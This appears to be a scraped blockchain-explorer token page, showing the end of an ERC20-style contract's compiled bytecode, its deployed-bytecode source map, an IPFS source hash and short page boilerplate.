65b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156111315784516001600160a01b03168352938301939183019160010161110c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261116c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122050da646c6b2d1bc3df5f49b904bdadb35f2e624d271a4a0a43d3837de1f6bf6c64736f6c63430008180033
Deployed Bytecode Sourcemap
3733:6304:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5642:83;;;;;;;;;;-1:-1:-1;5712:5:0;;;;;;;;;;;;-1:-1:-1;;;5712:5:0;;;;5642:83;;;;;;;:::i;:::-;;;;;;;;6475:161;;;;;;;;;;-1:-1:-1;6475:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6475:161:0;1023:187:1;4731:41:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4731:41:0;1215:177:1;5919:95:0;;;;;;;;;;;;;:::i;6644:313::-;;;;;;;;;;-1:-1:-1;6644:313:0;;;;;:::i;:::-;;:::i;5828:83::-;;;;;;;;;;-1:-1:-1;5828:83:0;;4553:1;2000:36:1;;1988:2;1973:18;5828:83:0;1858:184:1;9641:215:0;;;;;;;;;;-1:-1:-1;9641:215:0;;;;;:::i;:::-;;:::i;:::-;;9482:151;;;;;;;;;;;;;:::i;9378:92::-;;;;;;;;;;-1:-1:-1;9378:92:0;;;;;:::i;:::-;;:::i;6022:119::-;;;;;;;;;;-1:-1:-1;6022:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6115:18:0;6088:7;6115:18;;;:9;:18;;;;;;;6022:119;2814:148;;;;;;;;;;;;;:::i;4629:40::-;;;;;;;;;;;;;;;;2600:79;;;;;;;;;;-1:-1:-1;2638:7:0;2665:6;2600:79;;-1:-1:-1;;;;;2665:6:0;;;2630:51:1;;2618:2;2603:18;2600:79:0;2484:203:1;5733:87:0;;;;;;;;;;-1:-1:-1;5805:7:0;;;;;;;;;;;;-1:-1:-1;;;5805:7:0;;;;5733:87;;6149:167;;;;;;;;;;-1:-1:-1;6149:167:0;;;;;:::i;:::-;;:::i;4676:48::-;;;;;;;;;;;;;;;;9868:129;;;;;;;;;;-1:-1:-1;9868:129:0;;;;;:::i;:::-;;:::i;9260:110::-;;;;;;;;;;;;;:::i;6324:143::-;;;;;;;;;;-1:-1:-1;6324:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6432:18:0;;;6405:7;6432:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6324:143;6475:161;6550:4;6567:39;435:10;6590:7;6599:6;6567:8;:39::i;:::-;-1:-1:-1;6624:4:0;6475:161;;;;;:::o;5919:95::-;5972:7;4609:13;4553:1;4609:2;:13;:::i;:::-;4596:26;;:10;:26;:::i;:::-;5992:14;;5919:95;:::o;6644:313::-;6742:4;6759:36;6769:6;6777:9;6788:6;6759:9;:36::i;:::-;6806:121;6815:6;435:10;6837:89;6875:6;6837:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6837:19:0;;;;;;:11;:19;;;;;;;;435:10;6837:33;;;;;;;;;;:37;:89::i;:::-;6806:8;:121::i;:::-;-1:-1:-1;6945:4:0;6644:313;;;;;:::o;9641:215::-;2727:6;;-1:-1:-1;;;;;2727:6:0;435:10;2727:22;2719:67;;;;-1:-1:-1;;;2719:67:0;;;;;;;:::i;:::-;;;;;;;;;9719:2:::1;9710:7;:11;;9702:20;;;::::0;::::1;;9731:12;:20:::0;;;9760:13:::1;:21:::0;;;9790:14:::1;:24:::0;;;9823:15:::1;:25:::0;9641:215::o;9482:151::-;2727:6;;-1:-1:-1;;;;;2727:6:0;435:10;2727:22;2719:67;;;;-1:-1:-1;;;2719:67:0;;;;;;;:::i;:::-;9570:4:::1;9534:11;6115:18:::0;;;:9;:18;;;;;;9548:42:::1;::::0;9578:11:::1;;9548:3;:42::i;:::-;9534:56;;9601:24;9618:6;9601:16;:24::i;:::-;9523:110;9482:151::o:0;9378:92::-;2727:6;;-1:-1:-1;;;;;2727:6:0;435:10;2727:22;2719:67;;;;-1:-1:-1;;;2719:67:0;;;;;;;:::i;:::-;9443:10:::1;:19:::0;9378:92::o;2814:148::-;2727:6;;-1:-1:-1;;;;;2727:6:0;435:10;2727:22;2719:67;;;;-1:-1:-1;;;2719:67:0;;;;;;;:::i;:::-;2921:1:::1;2905:6:::0;;2884:40:::1;::::0;-1:-1:-1;;;;;2905:6:0;;::::1;::::0;2884:40:::1;::::0;2921:1;;2884:40:::1;2952:1;2935:19:::0;;-1:-1:-1;;;;;;2935:19:0::1;::::0;;2814:148::o;6149:167::-;6227:4;6244:42;435:10;6268:9;6279:6;6244:9;:42::i;9868:129::-;2727:6;;-1:-1:-1;;;;;2727:6:0;435:10;2727:22;2719:67;;;;-1:-1:-1;;;2719:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9953:27:0;;;::::1;;::::0;;;:18:::1;:27;::::0;;;;:36;;-1:-1:-1;;9953:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9868:129::o;9260:110::-;2727:6;;-1:-1:-1;;;;;2727:6:0;435:10;2727:22;2719:67;;;;-1:-1:-1;;;2719:67:0;;;;;;;:::i;:::-;9315:11:::1;:18:::0;;-1:-1:-1;;;;9344:18:0;-1:-1:-1;;;9344:18:0;;;9260:110::o;6965:177::-;-1:-1:-1;;;;;7050:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7102:32;;1361:25:1;;;7102:32:0;;1334:18:1;7102:32:0;;;;;;;6965:177;;;:::o;7150:1506::-;7230:17;-1:-1:-1;;;;;7268:16:0;;7260:25;;;;;;-1:-1:-1;;;;;7301:24:0;;;;;;:18;:24;;;;;;;;7300:25;:52;;;;-1:-1:-1;;;;;;7330:22:0;;;;;;:18;:22;;;;;;;;7329:23;7300:52;7296:1004;;;7381:76;7453:3;7381:67;7403:15;;7393:9;;:25;7392:55;;7433:14;;7392:55;;;7420:12;;7392:55;7381:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7480:11;;7369:88;;-1:-1:-1;;;;7480:11:0;;;;7472:59;;;;-1:-1:-1;;;7472:59:0;;5751:2:1;7472:59:0;;;5733:21:1;5790:2;5770:18;;;5763:30;5829:34;5809:18;;;5802:62;-1:-1:-1;;;5880:18:1;;;5873:33;5923:19;;7472:59:0;5549:399:1;7472:59:0;7558:13;;-1:-1:-1;;;;;7558:13:0;;;7550:21;;;;7546:174;;7626:10;;7616:6;7600:13;7610:2;-1:-1:-1;;;;;6115:18:0;6088:7;6115:18;;;:9;:18;;;;;;;6022:119;7600:13;:22;;;;:::i;:::-;:36;;7592:82;;;;-1:-1:-1;;;7592:82:0;;;;;;;:::i;:::-;7693:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7546:174;7745:13;;-1:-1:-1;;;;;7745:13:0;;;7739:19;;;;7736:234;;7790:79;7865:3;7790:70;7812:16;;7802:9;;:26;7801:58;;7844:15;;7801:58;;;7830:13;;7790:6;;:10;:70::i;:79::-;7778:91;-1:-1:-1;4609:13:0;4553:1;4609:2;:13;:::i;:::-;4596:26;;:10;:26;:::i;:::-;7896:10;;:20;7888:66;;;;-1:-1:-1;;;7888:66:0;;;;;;;:::i;:::-;8035:4;7986:28;6115:18;;;:9;:18;;;;;;8061:6;;-1:-1:-1;;;8061:6:0;;;;8060:7;:30;;;;-1:-1:-1;8077:13:0;;-1:-1:-1;;;;;8071:19:0;;;8077:13;;8071:19;8060:30;:45;;;;-1:-1:-1;8094:11:0;;-1:-1:-1;;;8094:11:0;;;;8060:45;:89;;;;;8132:17;;8109:20;:40;8060:89;:123;;;;;8165:18;;8153:9;;:30;8060:123;8056:233;;;8204:69;8221:51;8225:6;8233:38;8237:20;8259:11;;8233:3;:38::i;:::-;8221:3;:51::i;:::-;8204:16;:69::i;:::-;7354:946;7296:1004;8315:11;;8312:161;;8383:4;8365:24;;;;:9;:24;;;;;;:39;;8394:9;8365:28;:39::i;:::-;8358:4;8340:24;;;;:9;:24;;;;;;;:64;;;;8422:39;;-1:-1:-1;;;;;8422:39:0;;;;;;;8451:9;1361:25:1;;1349:2;1334:18;;1215:177;8422:39:0;;;;;;;;8312:161;-1:-1:-1;;;;;8499:15:0;;;;;;:9;:15;;;;;;:27;;8519:6;8499:19;:27::i;:::-;-1:-1:-1;;;;;8483:15:0;;;;;;:9;:15;;;;;:43;8551:40;8569:21;:6;8580:9;8569:10;:21::i;:::-;-1:-1:-1;;;;;8551:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8537:13:0;;;;;;;:9;:13;;;;;:54;;;;8607:41;;;8626:21;:6;8637:9;8626:10;:21::i;:::-;8607:41;;1361:25:1;;;1349:2;1334:18;8607:41:0;;;;;;;7219:1437;7150:1506;;;:::o;1492:190::-;1578:7;1614:12;1606:6;;;;1598:29;;;;-1:-1:-1;;;1598:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1638:9:0;1650:5;1654:1;1650;:5;:::i;:::-;1638:17;1492:190;-1:-1:-1;;;;;1492:190:0:o;8666:98::-;8723:7;8750:1;8748;:3;8747:9;;8755:1;8747:9;;;8753:1;8747:9;8740:16;8666:98;-1:-1:-1;;;8666:98:0:o;8772:480::-;5006:6;:13;;-1:-1:-1;;;;5006:13:0;-1:-1:-1;;;5006:13:0;;;8874:16:::1;::::0;;8888:1:::1;8874:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8874:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8874:16:0::1;8850:40;;8919:4;8901;8906:1;8901:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8901:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8945:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8945:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8901:7;;8945:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8935:4;8940:1;8935:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8935:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9010:15:::1;::::0;8978:62:::1;::::0;8995:4:::1;::::0;9010:15:::1;9028:11:::0;8978:8:::1;:62::i;:::-;9051:15;::::0;9193:10:::1;::::0;;9051:193:::1;::::0;-1:-1:-1;;;9051:193:0;;-1:-1:-1;;;;;9051:15:0;;::::1;::::0;:66:::1;::::0;:193:::1;::::0;9132:11;;9051:15:::1;::::0;9174:4;;9193:10;::::1;::::0;9218:15:::1;::::0;9051:193:::1;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5042:6:0;:14;;-1:-1:-1;;;;5042:14:0;;;-1:-1:-1;;;;8772:480:0:o;1690:246::-;1748:7;1772:1;1777;1772:6;1768:47;;-1:-1:-1;1802:1:0;1795:8;;1768:47;1825:9;1837:5;1841:1;1837;:5;:::i;:::-;1825:17;-1:-1:-1;1870:1:0;1861:5;1865:1;1825:17;1861:5;:::i;:::-;:10;1853:56;;;;-1:-1:-1;;;1853:56:0;;8695:2:1;1853:56:0;;;8677:21:1;8734:2;8714:18;;;8707:30;8773:34;8753:18;;;8746:62;-1:-1:-1;;;8824:18:1;;;8817:31;8865:19;;1853:56:0;8493:397:1;1944:132:0;2002:7;2029:39;2033:1;2036;2029:39;;;;;;;;;;;;;;;;;:3;:39::i;1161:179::-;1219:7;;1251:5;1255:1;1251;:5;:::i;:::-;1239:17;;1280:1;1275;:6;;1267:46;;;;-1:-1:-1;;;1267:46:0;;9097:2:1;1267:46:0;;;9079:21:1;9136:2;9116:18;;;9109:30;9175:29;9155:18;;;9148:57;9222:18;;1267:46:0;8895:351:1;1348:136:0;1406:7;1433:43;1437:1;1440;1433:43;;;;;;;;;;;;;;;;;:3;:43::i;2084:189::-;2170:7;2205:12;2198:5;2190:28;;;;-1:-1:-1;;;2190:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2229:9:0;2241:5;2245:1;2241;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:180::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;-1:-1:-1;2198:23:1;;2047:180;-1:-1:-1;2047:180:1:o;2232:247::-;2291:6;2344:2;2332:9;2323:7;2319:23;2315:32;2312:52;;;2360:1;2357;2350:12;2312:52;2399:9;2386:23;2418:31;2443:5;2418:31;:::i;2692:416::-;2757:6;2765;2818:2;2806:9;2797:7;2793:23;2789:32;2786:52;;;2834:1;2831;2824:12;2786:52;2873:9;2860:23;2892:31;2917:5;2892:31;:::i;:::-;2942:5;-1:-1:-1;2999:2:1;2984:18;;2971:32;3041:15;;3034:23;3022:36;;3012:64;;3072:1;3069;3062:12;3012:64;3095:7;3085:17;;;2692:416;;;;;:::o;3113:388::-;3181:6;3189;3242:2;3230:9;3221:7;3217:23;3213:32;3210:52;;;3258:1;3255;3248:12;3210:52;3297:9;3284:23;3316:31;3341:5;3316:31;:::i;:::-;3366:5;-1:-1:-1;3423:2:1;3408:18;;3395:32;3436:33;3395:32;3436:33;:::i;3506:127::-;3567:10;3562:3;3558:20;3555:1;3548:31;3598:4;3595:1;3588:15;3622:4;3619:1;3612:15;3638:416;3727:1;3764:5;3727:1;3778:270;3799:7;3789:8;3786:21;3778:270;;;3858:4;3854:1;3850:6;3846:17;3840:4;3837:27;3834:53;;;3867:18;;:::i;:::-;3917:7;3907:8;3903:22;3900:55;;;3937:16;;;;3900:55;4016:22;;;;3976:15;;;;3778:270;;;3782:3;3638:416;;;;;:::o;4059:806::-;4108:5;4138:8;4128:80;;-1:-1:-1;4179:1:1;4193:5;;4128:80;4227:4;4217:76;;-1:-1:-1;4264:1:1;4278:5;;4217:76;4309:4;4327:1;4322:59;;;;4395:1;4390:130;;;;4302:218;;4322:59;4352:1;4343:10;;4366:5;;;4390:130;4427:3;4417:8;4414:17;4411:43;;;4434:18;;:::i;:::-;-1:-1:-1;;4490:1:1;4476:16;;4505:5;;4302:218;;4604:2;4594:8;4591:16;4585:3;4579:4;4576:13;4572:36;4566:2;4556:8;4553:16;4548:2;4542:4;4539:12;4535:35;4532:77;4529:159;;;-1:-1:-1;4641:19:1;;;4673:5;;4529:159;4720:34;4745:8;4739:4;4720:34;:::i;:::-;4790:6;4786:1;4782:6;4778:19;4769:7;4766:32;4763:58;;;4801:18;;:::i;:::-;4839:20;;4059:806;-1:-1:-1;;;4059:806:1:o;4870:140::-;4928:5;4957:47;4998:4;4988:8;4984:19;4978:4;4957:47;:::i;5015:168::-;5088:9;;;5119;;5136:15;;;5130:22;;5116:37;5106:71;;5157:18;;:::i;5188:356::-;5390:2;5372:21;;;5409:18;;;5402:30;5468:34;5463:2;5448:18;;5441:62;5535:2;5520:18;;5188:356::o;5953:125::-;6018:9;;;6039:10;;;6036:36;;;6052:18;;:::i;6083:397::-;6285:2;6267:21;;;6324:2;6304:18;;;6297:30;6363:34;6358:2;6343:18;;6336:62;-1:-1:-1;;;6429:2:1;6414:18;;6407:31;6470:3;6455:19;;6083:397::o;6485:135::-;6524:3;6545:17;;;6542:43;;6565:18;;:::i;:::-;-1:-1:-1;6612:1:1;6601:13;;6485:135::o;6625:128::-;6692:9;;;6713:11;;;6710:37;;;6727:18;;:::i;6890:127::-;6951:10;6946:3;6942:20;6939:1;6932:31;6982:4;6979:1;6972:15;7006:4;7003:1;6996:15;7022:251;7092:6;7145:2;7133:9;7124:7;7120:23;7116:32;7113:52;;;7161:1;7158;7151:12;7113:52;7193:9;7187:16;7212:31;7237:5;7212:31;:::i;7278:988::-;7548:4;7596:3;7585:9;7581:19;7627:6;7616:9;7609:25;7653:2;7691:6;7686:2;7675:9;7671:18;7664:34;7734:3;7729:2;7718:9;7714:18;7707:31;7758:6;7793;7787:13;7824:6;7816;7809:22;7862:3;7851:9;7847:19;7840:26;;7901:2;7893:6;7889:15;7875:29;;7922:1;7932:195;7946:6;7943:1;7940:13;7932:195;;;8011:13;;-1:-1:-1;;;;;8007:39:1;7995:52;;8102:15;;;;8067:12;;;;8043:1;7961:9;7932:195;;;-1:-1:-1;;;;;;;8183:32:1;;;;8178:2;8163:18;;8156:60;-1:-1:-1;;;8247:3:1;8232:19;8225:35;8144:3;7278:988;-1:-1:-1;;;7278:988:1:o;8271:217::-;8311:1;8337;8327:132;;8381:10;8376:3;8372:20;8369:1;8362:31;8416:4;8413:1;8406:15;8444:4;8441:1;8434:15;8327:132;-1:-1:-1;8473:9:1;;8271:217::o
Swarm Source
ipfs://50da646c6b2d1bc3df5f49b904bdadb35f2e624d271a4a0a43d3837de1f6bf6c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.